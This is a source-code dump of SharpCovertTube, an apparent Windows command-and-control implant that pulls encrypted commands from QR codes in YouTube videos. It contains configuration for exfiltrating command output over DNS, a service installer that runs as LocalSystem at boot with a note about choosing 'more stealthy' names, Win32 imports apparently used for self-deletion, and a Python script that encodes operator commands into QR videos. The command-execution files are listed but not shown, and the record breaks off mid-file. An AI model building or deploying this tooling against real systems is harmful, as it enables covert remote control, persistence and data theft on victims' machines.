├── example-videos
├── whoami.avi
└── dirtemp_aes.avi
├── SharpCovertTube
├── packages.config
├── App.config
├── Configuration.cs
├── JSONSerializer.cs
├── Properties
│ └── AssemblyInfo.cs
├── APIInfo.cs
├── Win32.cs
├── CmdFunctions.cs
├── HelperFunctions.cs
├── SharpCovertTube.csproj
├── QRCodeDecoder
│ ├── Finder.cs
│ ├── QRCodeTrace.cs
│ ├── Corner.cs
│ ├── ReedSolomon.cs
│ └── StaticTables.cs
└── Program.cs
├── c2-server
├── config.py
├── README.md
└── c2-server.py
├── SharpCovertTube_Service
├── App.config
├── ProjectInstaller.cs
├── Program.cs
├── Configuration.cs
├── JSONSerializer.cs
├── Properties
│ └── AssemblyInfo.cs
├── SharpCovertTube_Service.Designer.cs
├── APIInfo.cs
├── ProjectInstaller.Designer.cs
├── SharpCovertTube_Service.cs
├── HelperFunctions.cs
├── SharpCovertTube_Service.csproj
├── QRCodeDecoder
│ ├── Finder.cs
│ ├── QRCodeTrace.cs
│ ├── Corner.cs
│ └── ReedSolomon.cs
├── SharpCovertTube_Service.resx
├── ProjectInstaller.resx
└── SharpCovertTube.cs
├── SharpCovertTube.sln
├── generate_video.py
└── README.md
/example-videos/whoami.avi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ricardojoserf/SharpCovertTube/HEAD/example-videos/whoami.avi
--------------------------------------------------------------------------------
/example-videos/dirtemp_aes.avi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ricardojoserf/SharpCovertTube/HEAD/example-videos/dirtemp_aes.avi
--------------------------------------------------------------------------------
/SharpCovertTube/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SharpCovertTube/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/c2-server/config.py:
--------------------------------------------------------------------------------
1 | client_id = ""
2 | client_secret = ""
3 | access_token_ = ""
4 | refresh_token_ = ""
5 | ns_subdomain = ".steve"
6 | log_file = "log.txt"
7 | show_banner = False
8 | aes_key = ""
9 | aes_iv = ""
10 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/ProjectInstaller.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.Collections.Generic;
4 | using System.ComponentModel;
5 | using System.Configuration.Install;
6 | using System.Linq;
7 | using System.Threading.Tasks;
8 |
9 | namespace SharpCovertTube_Service
10 | {
11 | [RunInstaller(true)]
12 | public partial class ProjectInstaller : System.Configuration.Install.Installer
13 | {
14 | public ProjectInstaller()
15 | {
16 | InitializeComponent();
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.ServiceProcess;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SharpCovertTube_Service
9 | {
10 | internal static class Program
11 | {
12 | ///
13 | /// The main entry point for the application.
14 | ///
15 | static void Main()
16 | {
17 | ServiceBase[] ServicesToRun;
18 | ServicesToRun = new ServiceBase[]
19 | {
20 | new SharpCovertTube_Service()
21 | };
22 | ServiceBase.Run(ServicesToRun);
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/Configuration.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpCovertTube_Service
4 | {
5 | internal class Configuration
6 | {
7 | /* Configuration values */
8 | // Channel ID (mandatory!!!). Get it from: https://www.youtube.com/account_advanced
9 | public const string channel_id = "";
10 | // API Key (mandatory!!!). Get it from: https://console.cloud.google.com/apis/credentials
11 | public const string api_key = "";
12 | // AES Key used for payload encryption
13 | public const string payload_aes_key = "0000000000000000";
14 | // IV Key used for payload encryption
15 | public const string payload_aes_iv = "0000000000000000";
16 | // Period between every check of the Youtube channel. Default is 10 minutes to avoid exceeding api quota
17 | public const int seconds_delay = 600;
18 | // Write debug messages in log file or not
19 | public const bool log_to_file = true;
20 | // Log file
21 | public const string log_file = "c:\\temp\\.sharpcoverttube.log";
22 | // Exfiltrate command responses through DNS or not
23 | public const bool dns_exfiltration = true;
24 | // DNS hostname used for DNS exfiltration
25 | public const string dns_hostname = ".test.org";
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/SharpCovertTube/Configuration.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpCovertTube
4 | {
5 | internal class Configuration
6 | {
7 | /* Configuration values */
8 | // Channel ID (mandatory!!!). Get it from: https://www.youtube.com/account_advanced
9 | public const string channel_id = "";
10 | // API Key (mandatory!!!). Get it from: https://console.cloud.google.com/apis/credentials
11 | public const string api_key = "";
12 | // AES Key used for payload encryption
13 | public const string payload_aes_key = "0000000000000000";
14 | // IV Key used for payload encryption
15 | public const string payload_aes_iv = "0000000000000000";
16 | // Period between every check of the Youtube channel. Default is 10 minutes to avoid exceeding api quota
17 | public const int seconds_delay = 600;
18 | // Show debug messages in console or not
19 | public const bool debug_console = true;
20 | // Write debug messages in log file or not
21 | public const bool log_to_file = true;
22 | // Log file
23 | public const string log_file = "c:\\temp\\.sharpcoverttube.log";
24 | // Exfiltrate command responses through DNS or not
25 | public const bool dns_exfiltration = true;
26 | // DNS hostname used for DNS exfiltration
27 | public const string dns_hostname = ".test.org";
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/SharpCovertTube/JSONSerializer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Runtime.Serialization.Json;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SharpCovertTube
10 | {
11 | // Source: https://stackoverflow.com/questions/9573119/how-to-parse-json-without-json-net-library
12 | public static class JSONSerializer where TType : class
13 | {
14 | ///
15 | /// Serializes an object to JSON
16 | ///
17 | public static string Serialize(TType instance)
18 | {
19 | var serializer = new DataContractJsonSerializer(typeof(TType));
20 | using (var stream = new MemoryStream())
21 | {
22 | serializer.WriteObject(stream, instance);
23 | return Encoding.Default.GetString(stream.ToArray());
24 | }
25 | }
26 |
27 | ///
28 | /// DeSerializes an object from JSON
29 | ///
30 | public static TType DeSerialize(string json)
31 | {
32 | using (var stream = new MemoryStream(Encoding.Default.GetBytes(json)))
33 | {
34 | var serializer = new DataContractJsonSerializer(typeof(TType));
35 | return serializer.ReadObject(stream) as TType;
36 | }
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/JSONSerializer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Runtime.Serialization.Json;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SharpCovertTube_Service
10 | {
11 | // Source: https://stackoverflow.com/questions/9573119/how-to-parse-json-without-json-net-library
12 | public static class JSONSerializer where TType : class
13 | {
14 | ///
15 | /// Serializes an object to JSON
16 | ///
17 | public static string Serialize(TType instance)
18 | {
19 | var serializer = new DataContractJsonSerializer(typeof(TType));
20 | using (var stream = new MemoryStream())
21 | {
22 | serializer.WriteObject(stream, instance);
23 | return Encoding.Default.GetString(stream.ToArray());
24 | }
25 | }
26 |
27 | ///
28 | /// DeSerializes an object from JSON
29 | ///
30 | public static TType DeSerialize(string json)
31 | {
32 | using (var stream = new MemoryStream(Encoding.Default.GetBytes(json)))
33 | {
34 | var serializer = new DataContractJsonSerializer(typeof(TType));
35 | return serializer.ReadObject(stream) as TType;
36 | }
37 | }
38 | }
39 | }
40 |
41 |
--------------------------------------------------------------------------------
/SharpCovertTube/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpCovertTube")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpCovertTube")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("28004bc6-dae3-4f4c-ac14-b3de3f6cf95e")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpCovertTube_Service")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpCovertTube_Service")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("d926fc20-e5b8-403c-99f4-dbef665d4563")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/SharpCovertTube_Service.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace SharpCovertTube_Service
2 | {
3 | partial class SharpCovertTube_Service
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Component Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.eventLog1 = new System.Diagnostics.EventLog();
32 | ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).BeginInit();
33 | //
34 | // SharpCovertTube_Service
35 | //
36 | this.ServiceName = "SharpCovertTube_Service";
37 | ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).EndInit();
38 |
39 | }
40 |
41 | #endregion
42 |
43 | private System.Diagnostics.EventLog eventLog1;
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/SharpCovertTube.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33801.468
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCovertTube", "SharpCovertTube\SharpCovertTube.csproj", "{28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCovertTube_Service", "SharpCovertTube_Service\SharpCovertTube_Service.csproj", "{D926FC20-E5B8-403C-99F4-DBEF665D4563}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Debug|x64 = Debug|x64
14 | Release|Any CPU = Release|Any CPU
15 | Release|x64 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|x64.ActiveCfg = Debug|x64
21 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|x64.Build.0 = Debug|x64
22 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|x64.ActiveCfg = Release|x64
25 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|x64.Build.0 = Release|x64
26 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|x64.ActiveCfg = Debug|Any CPU
29 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|x64.Build.0 = Debug|Any CPU
30 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|Any CPU.ActiveCfg = Release|Any CPU
31 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|Any CPU.Build.0 = Release|Any CPU
32 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|x64.ActiveCfg = Release|Any CPU
33 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|x64.Build.0 = Release|Any CPU
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {74A01187-08AA-45E5-A873-8C94127CCCBD}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/SharpCovertTube/APIInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Runtime.Serialization;
2 |
3 |
4 | namespace SharpCovertTube
5 | {
6 | [DataContract]
7 | public class Thumbnail_Obj
8 | {
9 | [DataMember]
10 | public string url { get; set; }
11 | [DataMember]
12 | public string width { get; set; }
13 | [DataMember]
14 | public string height { get; set; }
15 | }
16 |
17 |
18 | [DataContract]
19 | public class Id_Obj
20 | {
21 | [DataMember]
22 | public string kind { get; set; }
23 | [DataMember]
24 | public string videoId { get; set; }
25 | }
26 |
27 |
28 | [DataContract]
29 | public class Thumbnail
30 | {
31 | [DataMember]
32 | public Thumbnail_Obj default_ { get; set; }
33 | [DataMember]
34 | public Thumbnail_Obj medium { get; set; }
35 | [DataMember]
36 | public Thumbnail_Obj high { get; set; }
37 | }
38 |
39 |
40 | [DataContract]
41 | public class Snippet
42 | {
43 | [DataMember]
44 | public string publishedAt { get; set; }
45 | [DataMember]
46 | public string channelId { get; set; }
47 | [DataMember]
48 | public string title { get; set; }
49 | [DataMember]
50 | public string description { get; set; }
51 | [DataMember]
52 | public Thumbnail thumbnails { get; set; }
53 | [DataMember]
54 | public string channelTitle { get; set; }
55 | [DataMember]
56 | public string liveBroadcastContent { get; set; }
57 | [DataMember]
58 | public string publishTime { get; set; }
59 | }
60 |
61 |
62 | [DataContract]
63 | public class Item {
64 | [DataMember]
65 | public string kind { get; set; }
66 | [DataMember]
67 | public string etag { get; set; }
68 | [DataMember]
69 | public Id_Obj id { get; set; }
70 | [DataMember]
71 | public Snippet snippet { get; set; }
72 | }
73 |
74 |
75 | [DataContract]
76 | public class APIInfo
77 | {
78 | [DataMember]
79 | public string kind { get; set; }
80 |
81 | [DataMember]
82 | public string etag { get; set; }
83 |
84 | [DataMember]
85 | public string[] pageInfo { get; set; }
86 |
87 | [DataMember]
88 | public Item[] items { get; set; }
89 | }
90 | }
91 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/APIInfo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.Serialization;
3 |
4 |
5 | namespace SharpCovertTube_Service
6 | {
7 | [DataContract]
8 | public class Thumbnail_Obj
9 | {
10 | [DataMember]
11 | public string url { get; set; }
12 | [DataMember]
13 | public string width { get; set; }
14 | [DataMember]
15 | public string height { get; set; }
16 | }
17 |
18 |
19 | [DataContract]
20 | public class Id_Obj
21 | {
22 | [DataMember]
23 | public string kind { get; set; }
24 | [DataMember]
25 | public string videoId { get; set; }
26 | }
27 |
28 |
29 | [DataContract]
30 | public class Thumbnail
31 | {
32 | [DataMember]
33 | public Thumbnail_Obj default_ { get; set; }
34 | [DataMember]
35 | public Thumbnail_Obj medium { get; set; }
36 | [DataMember]
37 | public Thumbnail_Obj high { get; set; }
38 | }
39 |
40 |
41 | [DataContract]
42 | public class Snippet
43 | {
44 | [DataMember]
45 | public string publishedAt { get; set; }
46 | [DataMember]
47 | public string channelId { get; set; }
48 | [DataMember]
49 | public string title { get; set; }
50 | [DataMember]
51 | public string description { get; set; }
52 | [DataMember]
53 | public Thumbnail thumbnails { get; set; }
54 | [DataMember]
55 | public string channelTitle { get; set; }
56 | [DataMember]
57 | public string liveBroadcastContent { get; set; }
58 | [DataMember]
59 | public string publishTime { get; set; }
60 | }
61 |
62 |
63 | [DataContract]
64 | public class Item
65 | {
66 | [DataMember]
67 | public string kind { get; set; }
68 | [DataMember]
69 | public string etag { get; set; }
70 | [DataMember]
71 | public Id_Obj id { get; set; }
72 | [DataMember]
73 | public Snippet snippet { get; set; }
74 | }
75 |
76 |
77 | [DataContract]
78 | public class APIInfo
79 | {
80 | [DataMember]
81 | public string kind { get; set; }
82 |
83 | [DataMember]
84 | public string etag { get; set; }
85 |
86 | [DataMember]
87 | public string[] pageInfo { get; set; }
88 |
89 | [DataMember]
90 | public Item[] items { get; set; }
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/ProjectInstaller.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace SharpCovertTube_Service
2 | {
3 | partial class ProjectInstaller
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Component Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.serviceProcessInstaller1 = new System.ServiceProcess.ServiceProcessInstaller();
32 | this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller();
33 | //
34 | // serviceProcessInstaller1
35 | //
36 | this.serviceProcessInstaller1.Account = System.ServiceProcess.ServiceAccount.LocalSystem;
37 | this.serviceProcessInstaller1.Password = null;
38 | this.serviceProcessInstaller1.Username = null;
39 | //
40 | // serviceInstaller1
41 | //
42 | this.serviceInstaller1.Description = "You can change Description and DisplayName from serviceInstaller1 properties to u" +
43 | "se more stealthy values :)";
44 | this.serviceInstaller1.DisplayName = "SharpCovertTube Service";
45 | this.serviceInstaller1.ServiceName = "SharpCovertTube_Service";
46 | this.serviceInstaller1.StartType = System.ServiceProcess.ServiceStartMode.Automatic;
47 | //
48 | // ProjectInstaller
49 | //
50 | this.Installers.AddRange(new System.Configuration.Install.Installer[] {
51 | this.serviceProcessInstaller1,
52 | this.serviceInstaller1});
53 |
54 | }
55 |
56 | #endregion
57 |
58 | private System.ServiceProcess.ServiceProcessInstaller serviceProcessInstaller1;
59 | private System.ServiceProcess.ServiceInstaller serviceInstaller1;
60 | }
61 | }
--------------------------------------------------------------------------------
/SharpCovertTube/Win32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 | namespace SharpCovertTube
6 | {
7 | internal class Win32
8 | {
9 | //////////////////// CONSTANTS ////////////////////
10 | public const uint DELETE = (uint)0x00010000L;
11 | public const uint SYNCHRONIZE = (uint)0x00100000L;
12 | public const uint FILE_SHARE_READ = 0x00000001;
13 | public const uint OPEN_EXISTING = 3;
14 | public const int MAX_PATH = 256;
15 |
16 |
17 | ///////////////////// ENUMS /////////////////////
18 | public enum FileInformationClass : int
19 | {
20 | FileBasicInfo = 0,
21 | FileStandardInfo = 1,
22 | FileNameInfo = 2,
23 | FileRenameInfo = 3,
24 | FileDispositionInfo = 4,
25 | FileAllocationInfo = 5,
26 | FileEndOfFileInfo = 6,
27 | FileStreamInfo = 7,
28 | FileCompressionInfo = 8,
29 | FileAttributeTagInfo = 9,
30 | FileIdBothDirectoryInfo = 10,
31 | FileIdBothDirectoryRestartInfo = 11,
32 | FileIoPriorityHintInfo = 12,
33 | FileRemoteProtocolInfo = 13,
34 | FileFullDirectoryInfo = 14,
35 | FileFullDirectoryRestartInfo = 15,
36 | FileStorageInfo = 16,
37 | FileAlignmentInfo = 17,
38 | FileIdInfo = 18,
39 | FileIdExtdDirectoryInfo = 19,
40 | FileIdExtdDirectoryRestartInfo = 20,
41 | }
42 |
43 |
44 | //////////////////// FUNCTIONS ////////////////////
45 | [DllImport("wininet.dll")]
46 | public extern static bool InternetGetConnectedState(
47 | out int Description,
48 | int ReservedValue);
49 |
50 | [DllImport("kernel32.dll", SetLastError = true)]
51 | public static extern IntPtr CreateFileW(
52 | [MarshalAs(UnmanagedType.LPWStr)] string lpFileName,
53 | uint dwDesiredAccess,
54 | uint dwShareMode,
55 | uint lpSecurityAttributes,
56 | uint dwCreationDisposition,
57 | uint dwFlagsAndAttributes,
58 | uint hTemplateFile);
59 |
60 | [DllImport("Kernel32.dll", SetLastError = true)]
61 | public static extern int SetFileInformationByHandle(
62 | IntPtr hFile,
63 | FileInformationClass FileInformationClass,
64 | IntPtr FileInformation,
65 | Int32 dwBufferSize);
66 |
67 | [DllImport("Kernel32.dll", SetLastError = true)]
68 | public static extern bool CloseHandle(
69 | IntPtr handle);
70 |
71 | [DllImport("kernel32.dll", SetLastError = true)][PreserveSig]
72 | public static extern uint GetModuleFileName(
73 | [In] IntPtr hModule,
74 | [Out] StringBuilder lpFilename,
75 | [In][MarshalAs(UnmanagedType.U4)] int nSize);
76 |
77 |
78 | ///////////////////// STRUCTS /////////////////////
79 | [StructLayout(LayoutKind.Sequential)]
80 | public unsafe struct filerenameinfo_struct {
81 | public bool ReplaceIfExists;
82 | public IntPtr RootDirectory;
83 | public uint FileNameLength;
84 | public fixed byte filename[255];
85 | }
86 |
87 | [StructLayout(LayoutKind.Sequential)]
88 | public struct filedispositioninfo_struct {
89 | public bool DeleteFile;
90 | }
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/generate_video.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | from glob import glob
3 | import argparse
4 | import random
5 | import base64
6 | import rebus
7 | import cv2
8 | import sys
9 | import re
10 | import os
11 |
12 |
13 | def aes_encrypt(message, aes_key, iv):
14 | message = message.encode()
15 | BS = 16
16 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
17 | raw = pad(message)
18 | #iv = 16 * b'0'
19 | aes_key_bytes = str.encode(aes_key)
20 | iv_bytes = str.encode(iv)
21 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes)
22 | enc = cipher.encrypt(raw)
23 | rebus_encoded = rebus.b64encode(base64.b64encode(enc).decode('utf-8'))
24 | return rebus_encoded.decode("utf-8")
25 |
26 |
27 | def generate_frames(image_type, imagesFolder, command, aes_key, iv):
28 | #if cmd_ != "exit":
29 | if image_type == "qr":
30 | import pyqrcode
31 | qrcode = pyqrcode.create(command,version=10)
32 | qrcode.png(imagesFolder + "image_1.png",scale=8)
33 | elif image_type == "qr_aes":
34 | import pyqrcode
35 | encrypted_cmd = aes_encrypt(command,aes_key, iv)
36 | print("[+] AES-encrypted value: "+encrypted_cmd)
37 | qrcode = pyqrcode.create(encrypted_cmd,version=10)
38 | qrcode.png(imagesFolder + "image_1.png",scale=8)
39 | else:
40 | print("Unknown type")
41 | return 1
42 |
43 |
44 | def create_file(video_file, imagesFolder):
45 | img_array = []
46 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split(r'(\d+)', s)]
47 | for filename in sorted(glob(imagesFolder + '*.png'), key=natsort):
48 | img = cv2.imread(filename)
49 | height, width, layers = img.shape
50 | size = (width,height)
51 | img_array.append(img)
52 | img_array.append(img)
53 | img_array.append(img)
54 | img_array.append(img)
55 | fps = 1
56 | out = cv2.VideoWriter(video_file,cv2.VideoWriter_fourcc(*'DIVX'), fps, size)
57 | for i in range(len(img_array)):
58 | out.write(img_array[i])
59 | out.release()
60 |
61 |
62 | def clean_images(imagesFolder):
63 | os.remove(imagesFolder + "/image_1.png")
64 |
65 |
66 | def generate_video(image_type, video_file, aes_key, iv, command, imagesFolder):
67 | generate_frames(image_type, imagesFolder, command, aes_key, iv)
68 | print("[+] Creating file in the path "+video_file)
69 | create_file(video_file, imagesFolder)
70 | clean_images(imagesFolder)
71 |
72 |
73 | def get_args():
74 | parser = argparse.ArgumentParser()
75 | parser.add_argument('-t', '--type', required=True, action='store', help='Type')
76 | parser.add_argument('-f', '--file', required=True, action='store', help='Video file path')
77 | parser.add_argument('-c', '--command', required=True, action='store', help='Command')
78 | parser.add_argument('-k', '--aeskey', required=False, action='store', help='AES key')
79 | parser.add_argument('-i', '--aesiv', required=False, action='store', help='IV')
80 | my_args = parser.parse_args()
81 | return my_args
82 |
83 |
84 | def main():
85 | args = get_args()
86 | if args.type=="qr_aes":
87 | if args.aeskey is None or args.aesiv is None:
88 | print("[+] If you are using AES you need to use the -a (--aeskey) option with an AES key and -i (--iv) option with the IV.")
89 | sys.exit(0)
90 | elif args.aeskey is not None:
91 | if(len(args.aeskey) % 16 != 0):
92 | print("[+] AES key length must be multiple of 16.")
93 | sys.exit(0)
94 | if(len(args.aesiv) % 16 != 0):
95 | print("[+] IV length must be multiple of 16.")
96 | sys.exit(0)
97 | '''
98 | print("TYPE: \t" + args.type)
99 | print("FILE: \t" +args.file)
100 | print("CMD: \t" +args.command)
101 | print("AESKEY:\t" +args.aeskey)
102 | print("IV: \t" +args.iv)
103 | '''
104 | generate_video(args.type, args.file, args.aeskey, args.aesiv, args.command, "c:\\temp\\")
105 |
106 |
107 | if __name__== "__main__":
108 | main()
--------------------------------------------------------------------------------
/SharpCovertTube_Service/SharpCovertTube_Service.cs:
--------------------------------------------------------------------------------
1 | using System.ServiceProcess;
2 | using System.Runtime.InteropServices;
3 | using System.IO;
4 |
5 | public enum ServiceState
6 | {
7 | SERVICE_STOPPED = 0x00000001,
8 | SERVICE_START_PENDING = 0x00000002,
9 | SERVICE_STOP_PENDING = 0x00000003,
10 | SERVICE_RUNNING = 0x00000004,
11 | SERVICE_CONTINUE_PENDING = 0x00000005,
12 | SERVICE_PAUSE_PENDING = 0x00000006,
13 | SERVICE_PAUSED = 0x00000007,
14 | }
15 |
16 | [StructLayout(LayoutKind.Sequential)]
17 | public struct ServiceStatus
18 | {
19 | public int dwServiceType;
20 | public ServiceState dwCurrentState;
21 | public int dwControlsAccepted;
22 | public int dwWin32ExitCode;
23 | public int dwServiceSpecificExitCode;
24 | public int dwCheckPoint;
25 | public int dwWaitHint;
26 | };
27 |
28 |
29 |
30 | namespace SharpCovertTube_Service
31 | {
32 | public partial class SharpCovertTube_Service : ServiceBase
33 | {
34 | private int eventId = 1;
35 | [DllImport("advapi32.dll", SetLastError = true)]
36 | private static extern bool SetServiceStatus(System.IntPtr handle, ref ServiceStatus serviceStatus);
37 |
38 | [DllImport("wininet.dll")]
39 | private extern static bool InternetGetConnectedState(out int Description, int ReservedValue);
40 |
41 |
42 | public SharpCovertTube_Service()
43 | {
44 | InitializeComponent();
45 | eventLog1 = new System.Diagnostics.EventLog();
46 | if (!System.Diagnostics.EventLog.SourceExists("MySource"))
47 | {
48 | System.Diagnostics.EventLog.CreateEventSource(
49 | "MySource", "MyNewLog");
50 | }
51 | eventLog1.Source = "MySource";
52 | eventLog1.Log = "MyNewLog";
53 | }
54 |
55 |
56 | public static bool IsConnectedToInternet()
57 | {
58 | int Desc;
59 | return InternetGetConnectedState(out Desc, 0);
60 | }
61 |
62 |
63 | protected override void OnStart(string[] args)
64 | {
65 | // Update the service state to Start Pending.
66 | ServiceStatus serviceStatus = new ServiceStatus();
67 | serviceStatus.dwCurrentState = ServiceState.SERVICE_START_PENDING;
